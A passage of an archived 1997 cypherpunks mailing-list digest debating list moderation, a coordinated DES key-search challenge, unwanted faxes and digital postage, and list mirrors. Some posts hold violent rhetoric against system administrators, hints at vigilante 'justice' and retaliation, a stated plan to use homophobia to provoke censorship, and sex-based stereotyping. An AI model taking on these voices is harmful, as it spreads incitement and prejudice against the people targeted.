> offered, or the sender put the same e-dollar on all 60000 mails sie
> sent and it's already been redeemed.

Well, if the trusted party performs the encryption by both recipient's
public key and the "retrieval key", the problem that you mention can 
be avoided.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Sat, 15 Feb 1997 08:54:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <19970215165408.26292.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?

Okay.  Suppose for argument's sake that the people who are censoring
Usenet all happen to be gay?  Why, then, would all gay people deserve
blame for these actions?

Now suppose they aren't gay.  Them whom are these homohpobic rants
really attacking?  Gay people or censors?  If you say, for instance,
"New cypherpunks list for heterosexuals only", who do you think is
actually going to be affected by this?  Certainly not Gilmore who is
completely disillusioned with cypherpunks at this point and not likely
to subscribe any mailing list a person like that runs anyway.  Rather,
you are attacking people who happen to be gay but would otherwise be
interested in subscribing to the mailing list.

Now suppose it's not instantly possible to discern a person's sexual
orientation over the internet, as Dr. Grubor claims it is.  Suppose
further that some of the people who censor Usenet are gay, and others
aren't.  Some of the people in favor of free speech are gay, others
are not.  Many of those who are straight don't just come out and say,
"I am not gay," for the simple reason that they oppose discrimination
based on sexual orientation and don't believe one's sexual orientation
should be relevant to a debate on censorship.  In such a case,
refocusing the debate on homosexuality rather than censorship hardly
furthers your objectives.

I believe homophobia is a great way to bring out the censors in
people.  However, inducing censorship is only part of fighting it.
You also need respectable people to some in, argue cogently against
the dangers of censorship, perhaps even get some extremely reasonable
articles suppressed, and then spread the word about it.  I find the
freedom-knights tactics' extremely lacking in this second, "clean up
and analyze the mess" phase.

As a recent example illustrates well, Vulis did a nice job of inducing
censorship on cypherpunks.  However, I think most peoples' opinions
didn't really turn, or at least people didn't realize how serious
things were and didn't really care, until Tim May [someone the many
freedom-knights hate] started criticizing this censorship in extremely
reasonable messages that were suppressed from both the -edited and
-flames mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 16:51:53 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <v03007801af2c0a2cc906@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM +0000 2/15/97, Adam Back wrote:
>Thomas S <ths@fh28.fa.umist.ac.uk> writes:
>> [...]
>>
>> 5. The prize money will be split equally between Gutenberg and EFF.
>>    There is a possibility of using part of it for stickers or
>>    something similar, but don't count on it.
>
>Not a good idea.
>
>How can this be enforced?  The RSADSI DES challenge is open to all
>comers, and how do you prove that someone who finds the key found it
>through this group effort?
>
>I have a suspicion many people would be tempted to fill in the RSA
>challenge form and email it in themselves.  $10,000 is a fair amount
>of money.

Once again, the advantages of an "uncoordinated search" should be
mentioned. An uncoordinated search, in which people randomly search chunks
of keyspace is obviously less efficient than a coordinated search where no
part of the space is searched two or more times.

However, an uncoordinated search is only less efficient by a small factor
of two or three, with a 95% probability that the key will be found with an
effort "only" 3 times greater than with a coordinated search. (The Poisson
probability distribution is what's involved here, and the math is fairly
easy to work out.)

A 2-4x factor is significant, and may warrant a coordinated search.
However, the various problems implicit in coordinated searches are factors,
too.

Also, an uncoordinated search solves the "prize" problem, as whomever finds
the key makes  the contact with RSADSI.

One of the problems with a coordinated search, if the remaining keyspace to
be doled out is publically announced, is that as the keyspace is searched
and a key _not_ found, the remaining keyspace is increasingly more tempting
for "independent searchers" to search. Sort of the way the odds on some
lotteries actually become "acceptable" as the lottery pot grows. The
organizer of the coordinated search must then, I surmise, keep the
assignments secret and dole out keyspace securely.

Having the prize money go to the finder of the key, as opposed to some
artificial division between EFF, Gutenberg, etc., is also an incentive for
people to contribute more CPU time.

--Tim May





>I know I would be tempted.  I have been running Svend Olaf's DES code,
>and my intention in the unlikely event that I hit the key had been to
>claim the money.
>
>How does it hurt the publicity if the actual individual who finds the
>key takes the money?  Surely it adds excitement to the story?
>
>In fact it would provide people with a possibly more powerful
>incentive to try to break the key in the first place -- in the hopes
>of winning the prize!  $10,000 means more to a lot of people than
>opposing ITAR/EAR, and participating in a technical challenge.  To
>start with a lot of people who's CPUs we could be using don't even
>know what ITAR/EAR are!
>
>> We hope to get a working system up and running ASAP. The fact alone
>> that DES is seriously challenged (with a reasonable time frame)
>> should give us quite some publicity (by the time the system is
>> ready). If we can make use of that, we will have significantly more
>> client than for the 48 bit key.
>
>I would have thought announcing that $10,000 can be won by running
>easy to use windows software on a wide selection of newsgroups would
>get you lots of CPUs!
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 15:58:49 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702151911.LAA01322@toad.com>
Message-ID: <199702160102.RAA00745@songbird.com>
MIME-Version: 1.0
Content-Type: text


jim bell allegedly said:
> 
> 
> No, you're taking the issue to ridiculous extremes.    That's why we have 
> doors, and locks, etc.  And, for that matter, "No trespassing" signs.  
> 
> But having an address, and a walkway, and a doorbell is generally considered 
> if not explicit permission, but at least toleration of the idea that 
> somebody can walk up and knock on the door, etc. 

But if someone leans on my doorbell for 4 hours solid, I can call the 
police and have them carted away.  Carried to extremes, it's criminal 
trespass. 

> Having a telephone with a 
> number that anyone can dial is going to result in some level of intrusion.  
> Having a fax machine is a similar issue, unless technology provides a way to 
> block unwanted faxes.
> 
> I certainly don't claim that we shouldn't try to do anything about these 
> limitations!  Quite the opposite, technology should be employed to protect 
> privacy.  But faxes are not fundamentally different than telephones, 
> doorbells, and walkways:  They facilitate interaction, even potentially 
> undesirable interaction.

And, just as in the case with my doorbell, when the undesirable 
interaction gets past some reasonable limit, legal action can be taken.

> >	Nope. Sure I realize that they _can_, but that doesn't make it right,
> >and it doesn't make it legal. 
> 
> "Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
> bunch of brainless legislators get together and disapprove.

Arbitrary or not, it has real world consequences.  But then most 
things with real world consequences are arbitrary, unlike libertarian 
fantasies, which enjoy the luxury of unreality.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:11:42 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
In-Reply-To: <199702151802.KAA22867@mail.pacifier.com>
Message-ID: <33066CC5.74C8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 11:40 AM 2/15/97 -0600, snow wrote:
> >Mr. Bell wrote:

> But having an address, and a walkway, and a doorbell is generally considered
> if not explicit permission, but at least toleration of the idea that
> somebody can walk up and knock on the door, etc.  Having a telephone with a
> number that anyone can dial is going to result in some level of intrusion.
> Having a fax machine is a similar issue, unless technology provides a way to
> block unwanted faxes.

There are some neato methods to deal with the door and the phone,
but I haven't investigated faxes since I don't run one at home.

For the door, you can have a locked gate so they can't knock on the
door,
and an adjustable volume ringer or phone at the gate that's easy to
ignore
when you don't want them to know you're there and you're ignoring them.
If the gate is not practical, at least put a locked screen door in
front of the regular door, and the ringer or whatever outside the
screen.
For more aggressive pests, some signs might be necessary.

For the phone, you can do like I did, and simply remove (or break)
the outgoing message tape, so when they call, all they get is a beep
and they'll have to think fast or they're cut off.  Cuts way back
on pesky calls, but allows your loyals to leave messages or speak
so you'll know who it is.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:14:52 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <33066D8F.1159@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> "Phone Companies Balk At Latest Plan by FBI." Markoff.
>    Telcos are arguing that the new system will be far more
>    intrusive and expensive than industry first thought, and
>    would expand LEA wiretap capabilities 100-fold. "This is
>    kind of scary. What does the FBI know about our future
>    that we don't?"
> See the FBI's latest wiretap plan at:
>    http://jya.com/fbi011497.txt

You could start by interviewing Freeh's own kids, who conspired
(according to the L.A. Times) to have the local police make a
call the other night.  According to Freeh, "I dealt with my kids
in a most un-Constitutional and autocratic manner" (quote approx.).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:21:36 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702152355.PAA00282@songbird.com>
Message-ID: <33066F12.60CB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.

> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> So I think that people would like to get the distributed list going...

I hope this doesn't duplicate the earlier message - if someone were
tracking all this activity and kept the lists informed about what
was available where - and particularly if the downloading could be
automatic as in the subscription lists - that would be ideal.

I wanted to spend some time on alt.cypherpunks, but I haven't got
thru the subscription mail for the last few days yet.  If there's
a scheme that works better than just ad-hoc looking, I'd sure like
to know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 15 Feb 1997 18:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <199702160222.SAA10114@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 18:34:00 -0800 (PST)
To: snow <tcmay@got.net (Timothy C. May)
Subject: Re: More on digital postage
Message-ID: <199702160232.SAA14084@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:33 PM 2/15/97 -0600, snow wrote:
>Mr. May wrote: 
>> At 11:40 AM -0600 2/15/97, snow wrote:
>> >	That is a ridiculous argument. The door to my home is connected
>> >to the street,m and I know full well that that makes it easy for anyone
>> >to come wandering in to my home. Is it legal, just because I have my
>> >home hooked to the street, for someone to come in and help themselves to
>> >a beer out of my fridge?
>> 
>> The proper parallel is to _knocking on the door_. Talking about "unwanted
>> phone calls" or "unwanted faxes" as being equivalent to entering a house
>> and wandering around is incorrect.
>
>	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
>and knocks on the door I have the option of simply not answering. Faxes
>(in certain enviroments) you can't do that with. 


That's a technlogical problem, and deserves a technological solution.

>
>> Our society fairly reasonably allows tort relief for, say, having one's
>> doorbell rung frequently or at odd hours. On the fax issue, similar tort
>> relief could be obtained if a person or business was truly "under attack."
>> (Purists, like me, would probably prefer technological solutions even in
>> these cases. Leave a phone on answering machine mode, only switch on the
>> fax mode when a fax is expected, etc.)
>
>	Or simply a societal acceptance of retaliation(sp?) Someone who
>constantly wakes you up in the middle of the night, well you just arrange
>it so they get no sleep. 

Well, I've proposed such a system before...


>> These tort actions are a far cry from proposals that anyone whose knock on
>> the door, or phonecall, or e-mail, or fax is subject to criminal
>> prosecution under proposed new laws.
>> (I think the courts are already clogged enough, and I have faith that no
>> court in the land will accept a case where no real harm was done. A friend
>> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
>> down his account until the mess could be cleaned up, and it's not even
>> likely he'll ever get any relief.)
>
>	I (I think like you) feel that almost no one will get convicted
>of these "crimes" unless the attacker simply goes too far. 

Which is why my first choice is, uh, and alternative method of "justice."


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Sat, 15 Feb 1997 18:36:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <9702151836.ZM26501@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 15,  5:01pm, Timothy C. May wrote:
> Subject: Re: (fwd) DES challenge organisation
> However, an uncoordinated search is only less efficient by a small factor
> of two or three, with a 95% probability that the key will be found with an
> effort "only" 3 times greater than with a coordinated search. (The Poisson
> probability distribution is what's involved here, and the math is fairly
> easy to work out.)
> 
	The motivation to crack the DES challenge is more the
political one of proving DES (aka 56 bit encryption in the popular press)
insecure than the financial one of getting the $10,000 prize. To actually
get a good mesaure of the strength of DES using this approach, the number
of machines that participated in the attack and the time they spend
has to be known. This is a main reason why Germano's team prefers
the search to be co-ordinated and why they have been asking people not
to start the search before the server is ready.

> One of the problems with a coordinated search, if the remaining keyspace to
> be doled out is publically announced, is that as the keyspace is searched
> and a key _not_ found, the remaining keyspace is increasingly more tempting
> for "independent searchers" to search. Sort of the way the odds on some
> lotteries actually become "acceptable" as the lottery pot grows. The
> organizer of the coordinated search must then, I surmise, keep the
> assignments secret and dole out keyspace securely.
 
	Knowing the number of people they were able to get to participate
in the RC5 attack, this is not a significant problem. They are going to
have 5000 clients nibbling away on the not-yet-searched keyspace. Some 
Johnny-come-lately trying to muscle in on the action towards the end
is not going to make a significant dent in their chances of hitting the
correcy key first.

> Having the prize money go to the finder of the key, as opposed to some
> artificial division between EFF, Gutenberg, etc., is also an incentive for
> people to contribute more CPU time.

	Again, they didn't have a problem getting people to join in on
the RC5/32/12/6 attack. At least the same number of people can be expected
to join in for the DES attack, giving an estimated search time of around
eight months, if nobody else builds a hardware DES cracker first.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:44:20 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <33067402.1C4D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:44:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <33067467.55B4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 15:50:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <33064CBA.6765@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> 
> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>I believe homophobia is a great way to bring out the censors in
>people.  However, inducing censorship is only part of fighting it.
>You also need respectable people to some in, argue cogently against
>the dangers of censorship, perhaps even get some extremely reasonable
>articles suppressed, and then spread the word about it.  I find the
>freedom-knights tactics' extremely lacking in this second, "clean up
>and analyze the mess" phase.
> 

  Yes but the process is a very long term one--you seemed focused
on this specific instance.  I'm especially interested in the demise
of plug pulling sys admins for example--they should be hung by their
balls from the highest pole--the kind of net.slime EFF protects.  As
for analysis and cleanup that's a bit easier to contain on a list
as opposed to the usenet at large.

>As a recent example illustrates well, Vulis did a nice job of inducing
>censorship on cypherpunks.  However, I think most peoples' opinions
>didn't really turn, or at least people didn't realize how serious
>things were and didn't really care, until Tim May [someone the many
>freedom-knights hate] started criticizing this censorship in extremely
>reasonable messages that were suppressed from both the -edited and
>-flames mailing list.

  And for that to happen vivid examples of such censorship had to 
occur and a snake was exposed as being a snake.  Seems like it worked
extremely well to me.  It also appears that the cleanup you rightly
refer to is happening as a natural progression--same will be true
hopefully on a broader scale on usenet when others personally get
a taste of the censorship that is lurking behind every corner.  
And for those who jumped on the bandwagon because Mr. May was
being censored as oppossed to Dr. Vulis--they are sad people indeed.

                          Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sat, 15 Feb 1997 19:30:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mirrors and replies-to
In-Reply-To: <v03020908af2b83b6280d@[139.167.130.246]>
Message-ID: <v03007808af2c28714db4@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:24 AM -0800 2/15/97, Robert Hettinga wrote:
<SNIP>
>However, I would like it if the mirror operators would reinstantiate a
>feature of the original list for me. The reply-to field on the mirrors is
>currently set to cypherpunks@toad.com. On the original list, this was set
>to "sender", both to keep people from replying to the list unnecessarily
>(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
>big problem, especially when you guys put together your neo-netnews
>mailring. (a little jyaism, that... :-)).

After some discussion, the reply-to: cypherpunks@toad.com was a deliberate
choice. I wanted to ensure that the list at cyberpass did not become an
island. Once the main list expires, the reply-to will be changed to the
sender.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sheldon@sdsu.edu (Sheldon Glass)
Date: Sat, 15 Feb 1997 19:16:13 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: cypherpunks@toad.com
Message-ID: <v02130501af2c2834f1fd@[130.191.78.42]>
MIME-Version: 1.0
Content-Type: text/plain


I'm a very long term lurker writing to thank you for hosting the mailing
list.  It was surprising that the list, if not the community, was as
vulnerable to twits like Vulis as it appears.  It's a valuable lesson.
When cypherpunks rise from these ashes I hope that designers of
alternatives will remember the Alamo so to speak.

--
sheldon glass             |                        Plauger's Dogma
sglass@mail.sdsu.edu      |                No program may leave its sanity
#include <std.disclaimer> |                   at the mercy of its input.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 17:10:00 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Mirrors and replies-to
In-Reply-To: <199702151557.HAA23736@toad.com>
Message-ID: <199702160129.TAA05791@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> However, I would like it if the mirror operators would reinstantiate a
> feature of the original list for me. The reply-to field on the mirrors is
> currently set to cypherpunks@toad.com. On the original list, this was set
> to "sender", both to keep people from replying to the list unnecessarily
> (hah! :-)) but also to keep mail loops from forming. Mail loops could be a
> big problem, especially when you guys put together your neo-netnews
> mailring. (a little jyaism, that... :-)).

	As to the Mailloops: Majordomo seems (at least to me) to be 
pretty good about handling those kinds of things. If you configure it 
right. 

	I would rather have the replyto:cypherpunks as I am rather lazy, and
would like to be able to save everything in one file easily. 

	Just my $0.01.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 15 Feb 1997 11:40:27 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <856035210.710275.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Here I can agree, I personally discriminate on the basis of sex, not 
> > in that I believe women inferior to men but rather that I believe 
> > each sex better suited to different tasks and vocations.
> > That is not, however, to say that I believe women should be prevented 
> > from taking up lines of work that men traditionally hold.
> > They are free to do so, but as in the example you give later 
> > I would feel uncomfortable having my car serviced by a woman.
> 
> <flame-retardant suit on>
> 
> Normally I would ignore this sort of comment (which probably belongs in 
> some soc. newsgroup), but I feel obliged to point out that:
> 
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do 
> whatever it is, and IMHO are more likely to try harder.

Not my point, I didn`t say I would refuse, as in my example, to have 
my car serviced by a woman, rather, that I would not feel comfortable 
doing so. This is not prejudice, it is a statistical judgement based 
on the fact that, as a percentage, I know few women who are competent 
car mechanics but I know a number of men who, by the same criteria, I 
would call competent. 

> Chicken and Egg: How much of "each sex [is] better suited to different
> tasks" is due to little girls being pulled away from the Lego and toy
> trucks, and encouraged to play with Barbies?  Being told that they are 
> *pretty* not *smart* as a form of approval? 

Very much so, I did not intend, even though my post may have appeared 
that way, for one minute to suggest that women were *unable* to carry 
out certain tasks, just that they seem less suited to certain 
vocations that others. For example, I know a number of good female 
History or English students but very few good female mathematics 
or computer science students. This is not, I believe, because women are 
not "suited" to computer science rather that they have never been encouraged 
at high school etc. to learn about such subjects which are seen as male preserves. 
I wholeheartedly believe this should not be the case, and my original 
post may have been misleading, I just believe that in the current 
system very few women do become good at science/technical subjects.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Sat, 15 Feb 1997 19:35:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Where is the reorg FAQ?
Message-ID: <9702151935.ZM26624@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw a reference to an FAQ by Adam Back, explaining the mailing lists
that are being set up to replace cypherpunks@toad.com, but I didn't see
the FAQ itself, on either cypherpunks-unedited or cypherpunks@toad.com, which 
I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam
or somebody else repost it? Thanks.

Btw, one of our many news servers has alt.cypherpunks, but it has very
low traffic. I doubt people are not posting. Must be alt.cypherpunks
missing from some upstream sites.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 15 Feb 1997 20:33:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Where is the reorg FAQ?
In-Reply-To: <9702151935.ZM26624@razor.engr.sgi.com>
Message-ID: <199702160433.UAA27937@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das writes:

> Btw, one of our many news servers has alt.cypherpunks, but it has very
> low traffic. I doubt people are not posting. Must be alt.cypherpunks
> missing from some upstream sites.

To spam propagation islands, it might be a good idea to crosspost to
alt.privacy when posting to alt.cypherpunks.  It will probably take a week
or two before everyone who is going to create the group on their news
server gets around to it. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 18:14:43 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: More on digital postage
In-Reply-To: <v03007800af2bb42ce4e7@[207.167.93.63]>
Message-ID: <199702160233.UAA05925@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote: 
> At 11:40 AM -0600 2/15/97, snow wrote:
> >Mr. Bell wrote:
> >> However, you connect that fax machine to a phone line, when you know full
> >> well that should it be enabled to do so, it will automatically pick up the
> >> phone when it "hears" a ring, and will print out a fax based on information
> >> provided.  It isn't clear why sending a fax is any "wronger" than mailing
> >> junk mail, or making a (voice) phone call to somebody.
> >	That is a ridiculous argument. The door to my home is connected
> >to the street,m and I know full well that that makes it easy for anyone
> >to come wandering in to my home. Is it legal, just because I have my
> >home hooked to the street, for someone to come in and help themselves to
> >a beer out of my fridge?
> 
> The proper parallel is to _knocking on the door_. Talking about "unwanted
> phone calls" or "unwanted faxes" as being equivalent to entering a house
> and wandering around is incorrect.

	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
and knocks on the door I have the option of simply not answering. Faxes
(in certain enviroments) you can't do that with. 

> Our society fairly reasonably allows tort relief for, say, having one's
> doorbell rung frequently or at odd hours. On the fax issue, similar tort
> relief could be obtained if a person or business was truly "under attack."
> (Purists, like me, would probably prefer technological solutions even in
> these cases. Leave a phone on answering machine mode, only switch on the
> fax mode when a fax is expected, etc.)

	Or simply a societal acceptance of retaliation(sp?) Someone who
constantly wakes you up in the middle of the night, well you just arrange
it so they get no sleep. 

> These tort actions are a far cry from proposals that anyone whose knock on
> the door, or phonecall, or e-mail, or fax is subject to criminal
> prosecution under proposed new laws.
> (I think the courts are already clogged enough, and I have faith that no
> court in the land will accept a case where no real harm was done. A friend
> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
> down his account until the mess could be cleaned up, and it's not even
> likely he'll ever get any relief.)

	I (I think like you) feel that almost no one will get convicted
of these "crimes" unless the attacker simply goes too far. 

> What CompuServe did was quite different, as CompuServe decided that some
> e-mail would not be delivered. This is essentially comparable to the Postal
> Service deciding that mail from the National Rifle Association is, to them,
> "junk," or to the phone company deciding that phone calls from Libya or
> Iraq or some other unfavored nation will be fed to a dead number.

	Not really. The US Postal service is a regulated monopoly, and 
is the only game in town. If they weren't a regulated monopoly, I wouldn't
care if they refused to carry certain peices of mail, the mailer would have 
